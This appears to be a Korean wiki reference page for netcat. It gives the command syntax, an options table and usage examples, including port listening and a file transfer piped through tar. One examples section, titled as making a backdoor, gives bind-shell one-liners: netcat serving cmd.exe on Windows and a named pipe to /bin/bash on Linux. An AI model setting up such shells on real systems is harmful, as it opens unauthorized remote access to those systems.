사용자 도구

사이트 도구


application:netcat

문서의 이전 판입니다!


netcat

사용방법

명령어

 # nc [Option] [Target_host] [Ports] 

Option

옵 션 설 명
-e command.
connection이 이루어졌을 때 file을 실행시킨다.
-l 옵션과 같이 사용되면 한 instance 만을 사용하는 inetd와 비슷하다.
-g I Gateway.
source-routing hop point[s]를 8씩 증가
-G num. source-routing point를 4, 8, 12 .. 4씩 증가
-i seconds.
nc는 일반적으로 8K씩 데이터를 보내고 받는데,
그렇게 Standard input의 한 라인씩 interval time 마다 보내게 된다.
-l listen. listening 모드이다.
-n not DNS.
DNS name을 사용하지 않는다.
호스트 네임과 포트를 숫자로만 입력 받는다.
-o filename.
보내거나 받은 데이터를 저장한 파일 이름으로 파일에 저장한다.
-p port. 포트지정
-r random port.
port 지정이 여러 개로 되어 있으면 이 때 scanning 순서를 임의 지정하며,
또한 -p 옵션에서 지정 가능한 local port도 임의 지정
-s hostname/ip-address.
local의 ip와 dns를 지원한다.
-t telnetd.
telnetd에 접속이 가능하도록 접속시 telnet과 같은 과정을 거친다.
-u TCP 대신 UDP 프로토콜
-v Verbose.
자세한 설명 모드
-w timeout.
마지막으로 읽고 난 후 종료할 시간을 정한다.
-z zero-I/O mode.
connection을 이루기 위한 최소한의 데이터 외에는 보내지 않도록 하는 옵션.
스캐닝시 많이 쓰임

활용예제

Backdoor 만들기

Windows NT.

 c:\> nc -L -d -e c:\winnt\system32\cmd.exe -p 8080 

UNIX/Linux

 $ mkfifo /tmp/pipe; nc -l -p 8080 < /tmp/pipe | /bin/bash > /tmp/pipe 

특정 포트 모니터링하기

v1rus ~ # nc -l -n -v -p 88
listening on [any] 88 ...
connect to [165.246.43.109] from (UNKNOWN) [58.224.135.86] 3710

데이터 전송하기

  1. Receiver
     #nc -l -p 1234 | uncompress -c | tar xvfp - 
  2. Sender
     #tar -cfp - /some/dir | compress -c | nc -w 3 othermachine 1234 
application/netcat.1196449481.txt.gz · 마지막으로 수정됨: 2007/12/01 04:04 저자 222.238.62.180